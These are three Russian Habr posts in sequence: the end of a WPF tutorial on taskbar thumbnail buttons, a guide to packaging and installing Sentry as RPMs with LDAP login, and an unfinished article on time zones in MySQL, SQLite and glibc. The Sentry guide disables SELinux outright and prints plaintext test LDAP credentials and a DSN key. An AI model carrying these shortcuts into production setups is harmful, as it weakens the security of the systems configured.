Класс ThumbButtonInfo описывает одну кнопку в окне предпросмотра на таскбаре. Поскольку они должны соответствовать Windows 7 API — они не обычные кнопки, к которым мы привыкли в WPF. Другими словами вы не можете применять к ним шаблоны как вы могли привыкнуть. Однако им можно назначать картинку(растровую или векторную).
**Command, CommandParameter, CommandTarget**
Это поддержка инфраструктуры команд в WPF. Ничего необычного здесь. Если не хотите использовать команды — просто вешайте обработчик на событие Click кнопки.
**Description**
Это всплывающая подсказка кнопки. Желательно её указывать.
**IsInteractive**
Это свойство определяет является ли кнопка обычной кнопкой или просто картинкой с подсказкой. Если True — то кнопка, если False — то картинка отображается, но на неё нельзя нажать.
**IsBackgroundVisible**
Это определяет видимы или нет граница и фоновая подсветка вокруг кнопки. В обоих примерах ниже я снимал скриншот при наведении мышки на среднюю кнопку «Button 2».
**Background Visible**
> `<ThumbButtonInfo ImageSource="{StaticResource Button2Image}"
>
> Description="Button 2"
>
> IsBackgroundVisible="True"/>
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
[](http://www.irritatedvowel.com/pub/blog/4f8b2ad664db_CCA5/image_6.png)
**Background Invisible**
> `<ThumbButtonInfo ImageSource="{StaticResource Button2Image}"
>
> Description="Button 2"
>
> IsBackgroundVisible="False"/>
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
[](http://www.irritatedvowel.com/pub/blog/4f8b2ad664db_CCA5/image_7.png)
**DismissWhenClicked**
Если true — щелчок по кнопке закроет окно предпросмотра. Значение False оставит окно предпросмотра открытым так чтобы пользователь мог щелкать на другие кнопки или увидеть изменения в предпросмотре окна.
**ImageSource**
ImageSource это что угодно что приводится к типу System.Windows.Media.ImageSource, обычно это DrawingImage или BitmapSource. В нашем примере мы использовали DrawingImage которым содержал векторный рисунок.
**Visibility**
Это работает так же как и везде в WPF. Visible кнопки отображаются, Hidden занимают место но не отображаются, а Collapsed ни отображаются ни занимают место
**Button 2 Visible**
> `<ThumbButtonInfo ImageSource="{StaticResource Button2Image}"
>
> Description="Button 2"
>
> IsBackgroundVisible="True"
>
> Visibility="Visible"/>
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
[](http://www.irritatedvowel.com/pub/blog/4f8b2ad664db_CCA5/image_8.png)
**Button 2 Hidden**
> `<ThumbButtonInfo ImageSource="{StaticResource Button2Image}"
>
> Description="Button 2"
>
> IsBackgroundVisible="True"
>
> Visibility="Hidden"/>
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
[](http://www.irritatedvowel.com/pub/blog/4f8b2ad664db_CCA5/image_9.png)
Заметьте что кнопка всё ещё занимает место.
**Button 2 Collapsed**
> `<ThumbButtonInfo ImageSource="{StaticResource Button2Image}"
>
> Description="Button 2"
>
> IsBackgroundVisible="True"
>
> Visibility="Collapsed"/>
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
[](http://www.irritatedvowel.com/pub/blog/4f8b2ad664db_CCA5/image_10.png)
**IsEnabled**
При True — кнопка активна и рисуется в обычных цветах. При False — кнопка отключена и рисуется в чёрно-белых цветах.
**Button 2 Enabled**
> `<ThumbButtonInfo ImageSource="{StaticResource Button2Image}"
>
> Description="Button 2"
>
> IsEnabled="True"
>
> IsBackgroundVisible="True"
>
> Visibility="Visible"/>
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
[](http://www.irritatedvowel.com/pub/blog/4f8b2ad664db_CCA5/image_11.png)
**Button 2 Disabled**
> `<ThumbButtonInfo ImageSource="{StaticResource Button2Image}"
>
> Description="Button 2"
>
> IsEnabled="False"
>
> IsBackgroundVisible="True"
>
> Visibility="Visible"/>
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
[](http://www.irritatedvowel.com/pub/blog/4f8b2ad664db_CCA5/image_12.png)
Заметьте что кнопка стала чернобелой, прямо как кнопки перемотки на скриншоте Zune в начале этой статьи.
**Настройка поведения кнопки**
Есть несколько способов настроить поведение кнопок в окне предпросмотра. Можно использовать или команды или обработчики событий. Метод который вы выберете зависит от архитектуры вашего приложения и от ваших привычек.
Учитывая что эти кнопки отделены от большей части пользовательского интерфейса, команды кажутся более естественным подходом.
**Обработка событий**
Для целей демонстрации мы начнем с обработки событий. Вы можете назначить события в коде или прямо в XAML. Я обычно делаю это в коде, но покажу другой способ, я позволю Visual Studio 2010 создать обработчики основываясь на XAML-разметке.
Вот соответствующий XAML-код:
> `<Window.TaskbarItemInfo>
>
> <TaskbarItemInfo>
>
> <TaskbarItemInfo.ThumbButtonInfos>
>
> <ThumbButtonInfo ImageSource="{StaticResource Button1Image}"
>
> Click="Button1\_Click"
>
> Description="Button 1" />
>
> <ThumbButtonInfo ImageSource="{StaticResource Button2Image}"
>
> Click="Button2\_Click"
>
> Description="Button 2"
>
> IsEnabled="False"
>
> IsBackgroundVisible="True"
>
> Visibility="Visible"/>
>
> <ThumbButtonInfo ImageSource="{StaticResource Button3Image}"
>
> Click="Button3\_Click"
>
> Description="Button 3" />
>
> TaskbarItemInfo.ThumbButtonInfos>
>
> TaskbarItemInfo>
>
> Window.TaskbarItemInfo>
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
А вот исходный программный код:
> `public partial class MainWindow : Window
>
> {
>
> public MainWindow()
>
> {
>
> InitializeComponent();
>
> }
>
>
>
> private void Button1\_Click(object sender, EventArgs e)
>
> {
>
> MessageBox.Show("Button 1");
>
> }
>
>
>
> private void Button2\_Click(object sender, EventArgs e)
>
> {
>
> MessageBox.Show("Button 2");
>
> }
>
>
>
> private void Button3\_Click(object sender, EventArgs e)
>
> {
>
> MessageBox.Show("Button 3");
>
> }
>
> }
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Теперь попробуем подход с использованием команд.
**Команды**
Это требует немного большей настройки, но более соответствует топу что реальное приложение будет делать. Часто кнопки в панели предпросмотра это просто специализированные копии кнопок с вашего тулбара. Использование команд позволяет указать этим кнопкам использовать тот же код который вы реализуете для главных кнопок с тулбара. В дополнение к лучшей структуре и вторичному использованию кода, вы также получаете дополнительные бонусы, такие как автоматическая установка свойства IsEnabled.
**Создание Команд**
Сначала мы создадим три класса команд в папке Commands нашего проекта. Наши классы не будут делать ничего сильно различающегося, но мы всё равно создадим три разных класса. В вашем собственном коде продумывайте когда лучше использовать общие команды с делегатами, а когда лучше использовать более устойчивые реализации команд, такие как были представлены в Prism.
[](http://www.irritatedvowel.com/pub/blog/4f8b2ad664db_CCA5/image_13.png)
> `class RedCommand : ICommand
>
> {
>
> public bool CanExecute(object parameter)
>
> {
>
> // Тут разместите код проверки на возможность выполнения команды
>
> return true;
>
> }
>
>
>
> public event EventHandler CanExecuteChanged;
>
>
>
> public void Execute(object parameter)
>
> {
>
> // Обработка нажатия кнопки тут
>
> MessageBox.Show("Red Command.");
>
> }
>
> }
>
>
>
> class GreenCommand : ICommand
>
> {
>
> public bool CanExecute(object parameter)
>
> {
>
> // Тут разместите код проверки на возможность выполнения команды
>
> return false;
>
> }
>
>
>
> public event EventHandler CanExecuteChanged;
>
>
>
> public void Execute(object parameter)
>
> {
>
> // Обработка нажатия кнопки тут
>
> MessageBox.Show("Green Command.");
>
> }
>
> }
>
>
>
> class BlueCommand : ICommand
>
> {
>
> public bool CanExecute(object parameter)
>
> {
>
> // Тут разместите код проверки на возможность выполнения команды
>
> return true;
>
> }
>
>
>
> public event EventHandler CanExecuteChanged;
>
>
>
> public void Execute(object parameter)
>
> {
>
> // Обработка нажатия кнопки тут
>
> MessageBox.Show("Blue Command.");
>
> }
>
> }
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Это не лучший способ для использования команд. Я советую вам изучить больше о командах перед тем как изучать их в вашем собственном приложении. Вот два видео которые могут помочь*(видео на английском — прим. пер.)*
[•How Do I: Use Command Binding in WPF](http://windowsclient.net/learn/video.aspx?v=288066)
[•How Do I: Create a Custom Command in WPF](http://windowsclient.net/learn/video.aspx?v=292642)
**Создание ViewModel**
Сначала нам нужно место где их расположить. ViewModel это подходящее место для таких вещей. Создайте новый класс с названием MainViewModel (да, это ужасное имя) и заполните его соответствующими свойствами с нашими командами.
> `class MainViewModel
>
> {
>
> private RedCommand \_redCommand = new RedCommand();
>
> public ICommand RedCommand
>
> {
>
> get { return \_redCommand; }
>
> }
>
>
>
> private GreenCommand \_greenCommand = new GreenCommand();
>
> public ICommand GreenCommand
>
> {
>
> get { return \_greenCommand; }
>
> }
>
>
>
> private BlueCommand \_blueCommand = new BlueCommand();
>
> public ICommand BlueCommand
>
> {
>
> get { return \_blueCommand; }
>
> }
>
>
>
> // остальная часть VM
>
> }
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Связывание ViewModel и View
Дальше мы предоставим экземпляр ViewModel нашему View. Есть масса способов это сделать, включая:
•Назначение View как ресурса в окне в XAML
•Инстанциирование ViewModel как DataContext для view в XAML
•Назначение ViewModel для View в коде
•Используя dependency injection чтобы включить viewmodel в view
Мы собираемся внедрить ViewModel прямо в наш XAML-код как DataContext нашего окна. Благодаря этому у нас улучшается структура приложения, но мы теряем в тестируемости. Если вы хотите минимизровать связность, вам нужном использовать интерфейсы и подход DI.
> `<Window x:Class="WpfTaskbarThumbnailButtons.MainWindow"
>
> xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
>
> xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
>
> xmlns:viewModels="clr-namespace:WpfTaskbarThumbnailButtons"
>
> Title="Thumbnail Button Application"
>
> Height="350"
>
> Width="525">
>
> <Window.DataContext>
>
> <viewModels:MainViewModel />
>
> Window.DataContext>
>
>
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Заметьте что я также создал xmlns:viewModels чтобы указывать где я храню ViewModel. В большинстве приложений у вас будут отдельные папки ViewModel и View, а иногда и отдельные сборки.
Есть более правильные способы использовать команды в WPF приложениях, особенно если следовать шаблону ViewModel. Пример это самое начало, и я надеюсь что он даст вам чуть больше чем обычный код для демонстрации.
**Подключение кнопок**
Это самая простая часть. Теперь, когда вся инфраструктура настроена, и у наш контекст данных(DataContext) настроен на нашу ViewModel, всё что нужно — использовать средства байндинга WPF чтобы привязать свойства ViewModel.
> `<TaskbarItemInfo>
>
> <TaskbarItemInfo.ThumbButtonInfos>
>
> <ThumbButtonInfo ImageSource="{StaticResource Button1Image}"
>
> Command="{Binding RedCommand}"
>
> Description="Button 1" />
>
> <ThumbButtonInfo ImageSource="{StaticResource Button2Image}"
>
> Command="{Binding GreenCommand}"
>
> Description="Button 2"
>
> Visibility="Visible" />
>
> <ThumbButtonInfo ImageSource="{StaticResource Button3Image}"
>
> Command="{Binding BlueCommand}"
>
> Description="Button 3" />
>
> TaskbarItemInfo.ThumbButtonInfos>
>
> TaskbarItemInfo>
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Когда вы это сделаете, запустите приложение и вы увидите появляющиеся мессаджбоксы из команд(опять же, это не то что обычная команда будет делать, ии точно не то что вы обычно делаете кнопкой панели предпросмотра, но это неплохо для демонстрации).
[](http://www.irritatedvowel.com/pub/blog/4f8b2ad664db_CCA5/image_14.png)
**Наставления для ваших собственных приложений.**
Так же как иконки наложения(icon overlays) и показывание прогресса на таскбаре, вам нужно быть разумным о том как использовать эти кнопки. Они должны быть частью общего дизайна пользовательского интерфейса приложения, а не чем то что вы засунули, потому что вы можете это засунуть. Если в вашем приложении есть такая возможность, которая нужна пользователям «по первому зову», без необходимости просмотра полноразмерной версии приложения, такие кнопки вполне подходят вам.
Однако не относитесь к ним как к ещё одному тулбару. Не помещайте туда такие функции, которые более нигде не доступны. В дополнение, не помещайте туда функции которые требуют, чтобы приложение было в фокусе или хотя бы видимо на экране. | https://habr.com/ru/post/78380/ | null | ru | null |
# Сборка sentry и его зависимостей в rpm. Установка sentry из rpm, базовая настройка. Подключение к LDAP
Сборка sentry и его зависимостей в rpm. Установка sentry из rpm, базовая настройка.
-----------------------------------------------------------------------------------
### Описание
**Sentry** — инструмент мониторинга исключений (exception), ошибок в ваших приложениях.
**Преимущества использования Sentry:**
* не нервничать при размещении приложений на боевом сервере,
* быстро находить причины возникших проблем,
* устранять баги раньше, чем о них вам сообщат тестировщики, коллеги из саппорта, пользователи, ПМ или директор,
* выявлять незаметные остальной команде проблемы, которые портят жизнь пользователям и снижают эффективность вашего продукта,
* бесплатен,
* легко интегрируется в проект,
* ловит ошибки и в браузере пользователя, и на вашем сервере.
**Основные возможности:**
* Список ошибок обновляется в режиме реального времени,
* Если ошибка была помечена как решенная и появилась снова, то она снова создается и учитывается в отдельном потоке,
* Ошибки группируются и отображаются в порядке частоты появления,
* Ошибки можно фильтровать по статусам, источнику логгирования, уровню логгирования, имени сервера и т.д.
Sentry поддерживает большую часть языков программирования. Подробнее [здесь](https://sentry.io/platforms/).
### Запуск Sentry с помощью docker и docker-compose
Вы можете запустить Sentry с помощью docker и docker-compose как описано здесь: <https://github.com/getsentry/onpremise>. Но скрипт запускает на этом же сервере в single режиме (без отказоустройчивости) дополнительные сервисы (Для версии sentry 10.0.0):
* data
* postgres
* redis
* zookeeper
* kafka
* clickhouse
* symbolicator
Если вам нужна отказоустойчивость, то вам придется либо пользоваться планым облачным продуктом, либо устанавливать Sentry без этого скрипта.
Еще один минус при запуске официального docker-compose — возможно высокая нагрузка, все сервисы запускаются на одном единственном сервере.
У вас возможно будут такие логи:


В этом посте описывается процесс сборки Sentry и его зависимостей в rpm. Если вам нужно установить Sentry там где нет интернета, то из полученных rpm можно сделать yum репозиторий.
### Важное уточение по сборке и установке пакетов
Некоторые пакеты зависят друг от друга. Поэтому процесс сборки и установки разделен на несколько этапов.
#### TODO:
В этом посте рассмотрена сборки и установка Sentry версии 9.1.2. После того как разработчики выпустят пару минорных релизов можно собирать и версию Sentry 10.X.Y. Многие последние коммиты в master — это fix (исправления).
### Требования к серверу для сборки rpm
Чем больше ЦПУ будет, тем быстрее будет происходить сборка пакетов semaphore и symbolic
### Выключаем Selinux
Сообщество будет только за, если кто-нибудь напишет политики selinux для Sentry.
```
sudo sed -i s/^SELINUX=.*$/SELINUX=disabled/ /etc/selinux/config
sudo reboot
```
### Подключаем репозиторий epel-release
```
sudo yum install -y epel-release git
```
### Скачиваем репозиторий со скриптами
```
git clone https://github.com/patsevanton/sentry-rpm.git
cd sentry-rpm
```
### Собираем в rpm pip зависимости и устанавливаем их. Файл 1general\_dependencies.sh
```
./1general_dependencies.sh
```
### Устанавливаем и запускаем PostgreSQL для сборки python-psycopg2-binary. Файл 2psycopg2-binary.sh
Версию PostgreSQL вы можете поменять в скрипте.
```
./2psycopg2-binary.sh
```
### Собираем и устанавливаем python-dateutil rpm. Файл 3dateutil.sh
```
./3dateutil.sh
```
### Собираем и устанавливаем python-urllib3 rpm. Файл 4urllib3.sh
```
./4urllib3.sh
```
### Собираем в rpm остальные pip зависимости и устанавливаем их. Файл 5other\_dependencies.sh
```
./5other_dependencies.sh
```
### Собираем в rpm sentry и устанавливаем его. Файл 6sentry.sh
```
./6sentry.sh
```
#### Собираем в rpm LDAP зависимости. Файл 7sentry-ldap-auth.sh
```
./7sentry-ldap-auth.sh
```
#### Устанавливаем и запускаем PostgreSQL 9.6. Файл 8postgresql.sh
```
./8postgresql.sh
```
#### Запуск тестового LDAP или подключение к рабочему LDAP (Active Directory)
Если вы хотите протестировать LDAP, то запускаем тестовый openldap в docker.
sudo docker run -p 389:389 -p 636:636 --name test-ldap --detach gitea/test-openldap
Добавляем тестовые или рабочие настройки LDAP в файл sentry.conf.py (пример ниже).
```
#############
# LDAP auth #
#############
import ldap
from django_auth_ldap.config import LDAPSearch, GroupOfUniqueNamesType
AUTH_LDAP_SERVER_URI = 'ldap://192.168.88.244:389'
#AUTH_LDAP_BIND_DN = 'admin'
#AUTH_LDAP_BIND_PASSWORD = 'GoodNewsEveryone'
AUTH_LDAP_BIND_DN = 'cn=admin,dc=planetexpress,dc=com'
AUTH_LDAP_BIND_PASSWORD = 'GoodNewsEveryone'
AUTH_LDAP_USER_SEARCH = LDAPSearch(
'dc=planetexpress,dc=com',
ldap.SCOPE_SUBTREE,
'(uid=%(user)s)',
)
AUTH_LDAP_GROUP_SEARCH = LDAPSearch(
'',
ldap.SCOPE_SUBTREE,
'(objectClass=groupOfUniqueNames)'
)
AUTH_LDAP_GROUP_TYPE = GroupOfUniqueNamesType()
AUTH_LDAP_REQUIRE_GROUP = None
AUTH_LDAP_DENY_GROUP = None
AUTH_LDAP_USER_ATTR_MAP = {
'name': 'cn',
'email': 'mail'
}
AUTH_LDAP_FIND_GROUP_PERMS = False
AUTH_LDAP_CACHE_GROUPS = True
AUTH_LDAP_GROUP_CACHE_TIMEOUT = 3600
AUTH_LDAP_DEFAULT_SENTRY_ORGANIZATION = u'Sentry'
AUTH_LDAP_SENTRY_ORGANIZATION_ROLE_TYPE = 'member'
AUTH_LDAP_SENTRY_ORGANIZATION_GLOBAL_ACCESS = True
AUTH_LDAP_SENTRY_SUBSCRIBE_BY_DEFAULT = True
SENTRY_MANAGED_USER_FIELDS = ('email', 'first_name', 'last_name', 'password', )
AUTHENTICATION_BACKENDS = AUTHENTICATION_BACKENDS + (
'sentry_ldap_auth.backend.SentryLdapBackend',
)
```
Убеждаемся в вебе под административной учётной записью по адресу, например [http://ip-где-установлен-sentry:9000/manage/status/packages/](http://ip-%D0%B3%D0%B4%D0%B5-%D1%83%D1%81%D1%82%D0%B0%D0%BD%D0%BE%D0%B2%D0%BB%D0%B5%D0%BD-sentry:9000/manage/status/packages/), что новые пакеты с некоторыми зафиксированными версиями установлены.
Присутствует в AUTHENTICATION\_BACKENDS новая запись: sentry\_ldap\_auth.backend.SentryLdapBackend по адресу [http://ip-где-установлен-sentry:9000/manage/status/environment/](http://ip-%D0%B3%D0%B4%D0%B5-%D1%83%D1%81%D1%82%D0%B0%D0%BD%D0%BE%D0%B2%D0%BB%D0%B5%D0%BD-sentry:9000/manage/status/environment/)
#### Запускаем миграцию (создание схемы БД) и запускаем сервисы. Файл 9start\_sentry.sh
```
sudo systemctl start redis
sudo -i -u sentry /usr/bin/sentry --config /etc/sentry/ upgrade
sudo systemctl start sentry-worker
sudo systemctl start sentry-cron
sudo systemctl start sentry-web
```
#### Создаем внутреннего администратора Sentry (Если вы не создали админа при запуске 9start\_sentry.sh)
<https://forum.sentry.io/t/noninteractive-first-time-setup-of-user-via-upgrade/164>
```
sudo -i -u sentry /usr/bin/sentry --config /etc/sentry/ createuser
```
#### Тестирование LDAP
Пробуем ввести связку логин-пароль из базы LDAP, например professor professor.
Убеждаемся, что уже пользователь в организация Sentry, и соответственно смог залогиниться.

#### Создаем внутреннего администратора Sentry
<https://forum.sentry.io/t/noninteractive-first-time-setup-of-user-via-upgrade/164>
```
sudo -i -u sentry /usr/bin/sentry --config /etc/sentry/ createuser
```
### Тестирование отправки exception
Тестировать будем на java проекте. Скачиваем java и maven.
```
sudo yum install -y java-1.8.0-openjdk-devel git
sudo wget http://repos.fedorapeople.org/repos/dchen/apache-maven/epel-apache-maven.repo -O /etc/yum.repos.d/epel-apache-maven.repo
sudo yum -y install apache-maven
git clone https://github.com/getsentry/examples.git
cd examples/java/basic
mvn compile exec:java
```
Теперь нам нужно запустить java передав ему SENTRY\_DSN
```
SENTRY_DSN=https://public:private@host:port/1 mvn exec:java
```
Теперь нужно найти сгенерированный по умолчанию SENTRY\_DSN.
Заходим в Sentry. Идем в проект по умолчанию `internal.`

или

Переходим в настройки проекта.

Переходим в Client Keys (DSN).

Копируем DSN. Это и есть SENTRY\_DSN.

Запускаем java с этим параметром.
```
SENTRY_DSN=http://633e7361061d4dcaaca53877c4c0e80a@172.26.9.34:9000/1 mvn exec:java
```
Видим такую картину.

Если перейдем в `UnsupportedOperationException`, то увидем расширенную информацию.


#### Создал Telegram чат по Sentry
<https://t.me/sentry_ru>
#### В следующих сериях:
* Протестировать sentry версию 10.0.X после того как выкатят пару минорных релизов. | https://habr.com/ru/post/500632/ | null | ru | null |
# Особенности работы со временем в различных временных зонах
В связи с тем, что накопилось несколько вопросов и решений по работе со временем, решил сделать небольшой обзор.

#### Работа с различными типа данных в базах данных
##### MYSQL
В mysql существует несколько стандартных типов данных для представления времени, мы рассмотрим `TIMESTAMP` и `DATETIME`.
В [документации](http://dev.mysql.com/doc/refman/5.6/en/time-zone-support.html) говорится, что к некоторым типам данных применяется политика конвертирования, а к некоторым — нет.
На практике все намного интереснее. Рассмотрим несколько примеров:
Создадим таблицу:
```
create table xxxDate(ts TIMESTAMP NOT NULL, dt DATETIME NOT NULL);
```
Установим текущую зону для Москвы (в Москве с недавних пор нет перехода на летнее время, и время UTC+4):
```
set time_zone='Europe/Moscow';
```
Создадим две записи с летним и зимним временем соответственно:
```
insert into xxxDate values('2012-06-10 15:08:05', '2012-06-10 15:08:05');
insert into xxxDate values('2012-12-10 15:08:05', '2012-12-10 15:08:05');
```
Посмотрим, что показывает выборка этих дат из базы данных:
```
select * from xxxDate;
+---------------------+---------------------+
| ts | dt |
+---------------------+---------------------+
| 2012-06-10 15:08:05 | 2012-06-10 15:08:05 |
| 2012-12-10 15:08:05 | 2012-12-10 15:08:05 |
+---------------------+---------------------+
select UNIX_TIMESTAMP(ts), UNIX_TIMESTAMP(dt) from xxxDate;
+--------------------+--------------------+
| UNIX_TIMESTAMP(ts) | UNIX_TIMESTAMP(dt) |
+--------------------+--------------------+
| 1339326485 | 1339326485 |
| 1355137685 | 1355137685 |
+--------------------+--------------------+
```
Видим, что в обоих колонках значения одинаковые, это происходит потому что функция [`UNIX_TIMESTAMP`](http://dev.mysql.com/doc/refman/5.5/en/date-and-time-functions.html#function_unix-timestamp) рассматривает значение аргумента в текущей зоне и конвертирует его в UTC. Очевидно, что одинаковые значения одинаково сконвертируются в одно и то же значение `Mon, 10 Dec 2012 11:08:05 UTC`.
Теперь переезжаем в Лондон!
```
set time_zone='Europe/London';
select * from xxxDate;
+---------------------+---------------------+
| ts | dt |
+---------------------+---------------------+
| 2012-06-10 12:08:05 | 2012-06-10 15:08:05 |
| 2012-12-10 11:08:05 | 2012-12-10 15:08:05 |
+---------------------+---------------------+
```
Тут нет ничего удивительного, согласно [документации](http://dev.mysql.com/doc/refman/5.6/en/datetime.html), `TIMESTAMP`, перед тем как вставиться в базу конвертируется в UTC, поэтому после того как мы сменили текущую зону база данных нам выдает значение этого времени в текущей зоне. Значения типа `DATETIME` не изменились.
Теперь рассмотрим более детально работу алгоритма для Москвы. Значения для ts при вставке сконвертировались в UTC, и при выборке переводились в значения в соответствии с текущей зоной (как и для Лондона) 15 часов, а при выборе UNIX\_TIMESTAMP — они просто отображались как они сохранены в базе.
Теперь уже ожидаемый результат для Лондона:
```
select UNIX_TIMESTAMP(ts), UNIX_TIMESTAMP(dt) from xxxDate;
+--------------------+--------------------+
| UNIX_TIMESTAMP(ts) | UNIX_TIMESTAMP(dt) |
+--------------------+--------------------+
| 1339326485 | 1339337285 | // 14h (dt)
| 1355137685 | 1355152085 | // 15h (dt)
+--------------------+--------------------+
```
Значения ts не изменились, а значения dt рассматриваются как значения в текущий зоне, поэтому летнее время (первая запись) `1339337285 = Sun, 10 Jun 2012 14:08:05 GMT`, а зимнее время (нижняя запись) `1355152085 = Mon, 10 Dec 2012 15:08:05 GMT`.
На всякий случай проверим поведение для UTC.
```
set time_zone='UTC';
select * from xxxDate;
+---------------------+---------------------+
| ts | dt |
+---------------------+---------------------+
| 2012-06-10 11:08:05 | 2012-06-10 15:08:05 |
| 2012-12-10 11:08:05 | 2012-12-10 15:08:05 |
+---------------------+---------------------+
select UNIX_TIMESTAMP(ts), UNIX_TIMESTAMP(dt) from xxxDate;
+--------------------+--------------------+
| UNIX_TIMESTAMP(ts) | UNIX_TIMESTAMP(dt) |
+--------------------+--------------------+
| 1339326485 | 1339340885 | // 15h (dt)
| 1355137685 | 1355152085 | // 15h (dt)
+--------------------+--------------------+
```
Все согласно прежнему описанию, значения ts не изменились, значения dt рассматриваются в текущей зоне, поэтому тоже не меняются (`1339340885 = Sun, 10 Jun 2012 15:08:05 GMT; 1355152085 = Mon, 10 Dec 2012 15:08:05 GMT`).
Вывод:
* При работе с `DATETIME` и переезде сервера (неправильной настройке временной зоны во время вставки или импорта данных) с потерей информации о времени смены временной зоны сервера/соединения вы потеряете информации о действительном времени событий. Например, мы создали записи в 15 часов по московскому времени (импортировали данные в базу из backup’а), потом настроили наш сервер на UTC и не заметили, что до этого временная зона была московской. В результате вместо 11 часов по UTC оба наших заказа теперь сделаны на 4 часа позже — в 15 часов, а могли бы быть и в другой день. Поэтому на мой взгляд работать надо с `TIMESTAMP`.
* Так же, чтобы не возникало лишних проблем при отладке на сервере лучше иметь зону UTC, и работать с данными в UTC, а на клиентской части отображайте в той зоне, в которой хочет клиент.
* Так же хороший пример в конце [статьи](http://habrahabr.ru/post/69983/) [feedbee](https://habrahabr.ru/users/feedbee/).
* Чтобы избежать проблем с leap second так же стоит работать с unix epochs в UTC (см. раздел про Leap second).
##### SQLite3
Рассмотрим ситуацию с sqlite3. Согласно [документации](http://www.sqlite.org/datatype3.html#datetime) в sqlite нет типа данных для сохранения времени, но есть [функции](http://www.sqlite.org/lang_datefunc.html) для работы со временем, сохраненным в виде текста, числа с плавающей точкой и в виде целого числа. В целом эти представления принципиально ничем не отличается. Можно считать, что в sqlite текущая временная зона не используется, если вы не используете модификаторы localtime и utc. Например, вне зависимости от настроек системы, `CURRENT_TIMESTAMP` имеет значение в UTC.
```
$ date
Mon Dec 10 22:05:50 MSK 2012
$ sqlite3
sqlite> select CURRENT_TIMESTAMP;
2012-12-10 18:06:05
sqlite> select datetime(CURRENT_TIMESTAMP, 'localtime');
2012-12-10 22:06:35
```
Поэтому конвертируйте свои данные в вашей программе в utc и используйте unix epochs, чтобы не искать ошибки при парсинге строк.
Функции для отладки:
```
select strftime('%s', CURRENT_TIMESTAMP);
1355162582
select datetime(1355152085, 'unixepoch');
2012-12-10 15:08:05
```
#### Как пользователь видит время
Если вы работаете с типом datetime и не конвертируете его, то пользователи запутаются во времени. Например, если два пользователя живут в разных временных зонах, то, видя одну и ту же строку времени без указания зоны, они будут думать о разных временах. Чтобы не повторяться, вот [ссылка](http://habrahabr.ru/post/69983/) с примером.
#### С-функции по работе со временем
Во-первых, очень полезно ознакомиться с описанием работы со временем в [glibc](http://www.delorie.com/gnu/docs/glibc/libc_toc.html#TOC429). Мы же рассмотрим несколько примеров, касающихся результатов работы нескольких функций в разных временных зонах. Оказывается, даже в документации говорится, что struct tm (далее broken-down time) обычно используется **только** для отображаения пользователям (из-за наглядности), т.е. в вашей программе лучше использовать другие более подходящие типы данных.
Рассмотрим несколько примеров:
```
Function: struct tm * localtime_r(const time_t *time, struct tm *resultp)
```
Конвертирует simple time в broken-down time, выраженное относительно пользовательской зоны.
```
time_t t = 1339326485; // 2012-06-10 11:08:05 (UTC)
struct tm bdt;
localtime_r (&t, &bdt);
cout << bdt.tm_hour << endl;
cout << bdt.tm_isdst << endl;
cout << bdt.tm_zone << endl;
```
| зона в системе | UTC | Europe/Moscow | Europe/London |
| --- | --- | --- | --- |
| вывод hour | 11 | 15 | 12 |
| вывод isdst | 0 | 0 | 1 |
| вывод zone | UTC | MSK | BST |
```
time_t t = 1355137685; // 2012-12-10 11:08:05 (UTC)
```
| зона в системе | UTC | Europe/Moscow | Europe/London |
| --- | --- | --- | --- |
| вывод hour | 11 | 15 | 11 |
| вывод isdst | 0 | 0 | 0 |
| вывод zone | UTC | MSK | GMT |
```
Function: struct tm * gmtime_r(const time_t *time, struct tm *resultp)
```
Возвращает значение для зоны UTC вне зависимости от зоны пользователя.
```
time_t t = 1339326485; // 2012-06-10 11:08:05 (UTC)
struct tm bdt;
gmtime_r (&t, &bdt);
cout << bdt.tm_hour << endl;
cout << bdt.tm_isdst << endl;
cout << bdt.tm_zone << endl;
```
| зона в системе | UTC | Europe/Moscow | Europe/London |
| --- | --- | --- | --- |
| вывод hour | 11 | 11 | 11 |
| вывод isdst | 0 | 0 | 0 |
| вывод zone | GMT | GMT | GMT |
```
time_t t = 1355137685; // 2012-12-10 11:08:05 (UTC)
```
| зона в системе | UTC | Europe/Moscow | Europe/London |
| --- | --- | --- | --- |
| вывод hour | 11 | 11 | 11 |
| вывод isdst | 0 | 0 | 0 |
| вывод zone | GMT | GMT | GMT |
```
Function: time_t mktime(struct tm *brokentime)
```
(синоним **timelocal**, но редко встречается)
Конвертирует broken-down time в simple time.
Внимание: **выставляет у аргумента текущую зону.**
Поле tm\_zone не рассматривается как аргумент, считается, что время задано в текущей временной зоне и возвращается время в UTC.
```
struct tm bdt;
bdt.tm_sec = 5; // 05 sec
bdt.tm_min = 8; // 08 min
bdt.tm_hour = 11; // 11 h
bdt.tm_mday = 10; // 10
bdt.tm_mon = 5; // 6th mon - Jun
bdt.tm_year = 112;// 2012 - 1900
bdt.tm_wday = 0; // ignored
bdt.tm_yday = 0; // ignored
bdt.tm_isdst= 0;
bdt.tm_gmtoff= 0;
bdt.tm_zone = "UTC";
time_t t = mktime(&bdt);
cout << t << endl;
cout << bdt.tm_hour << endl;
cout << bdt.tm_isdst << endl;
cout << bdt.tm_gmtoff << endl;
cout << bdt.tm_zone << endl;
```
| зона в системе | UTC | Europe/Moscow | Europe/London |
| --- | --- | --- | --- |
| вывод t | 1339326485 (Sun, 10 Jun 2012 11:08:05 GMT) | 1339312085 (Sun, 10 Jun 2012 07:08:05 GMT) | 1339326485 (Sun, 10 Jun 2012 11:08:05 GMT) |
| вывод hour | 11 | 11 | 12 |
| вывод isdst | 0 | 0 | 1 |
| вывод gmtoff | 0 | 14400 (4\*60\*60) | 3600 (1\*60\*60) |
| вывод zone | UTC | MSK | BST |
Обратите внимение на то, что поля tm\_hour и tm\_isdst изменились для Лондона, это часть процесса нормализации полей структуры broken-down time.
теперь для
```
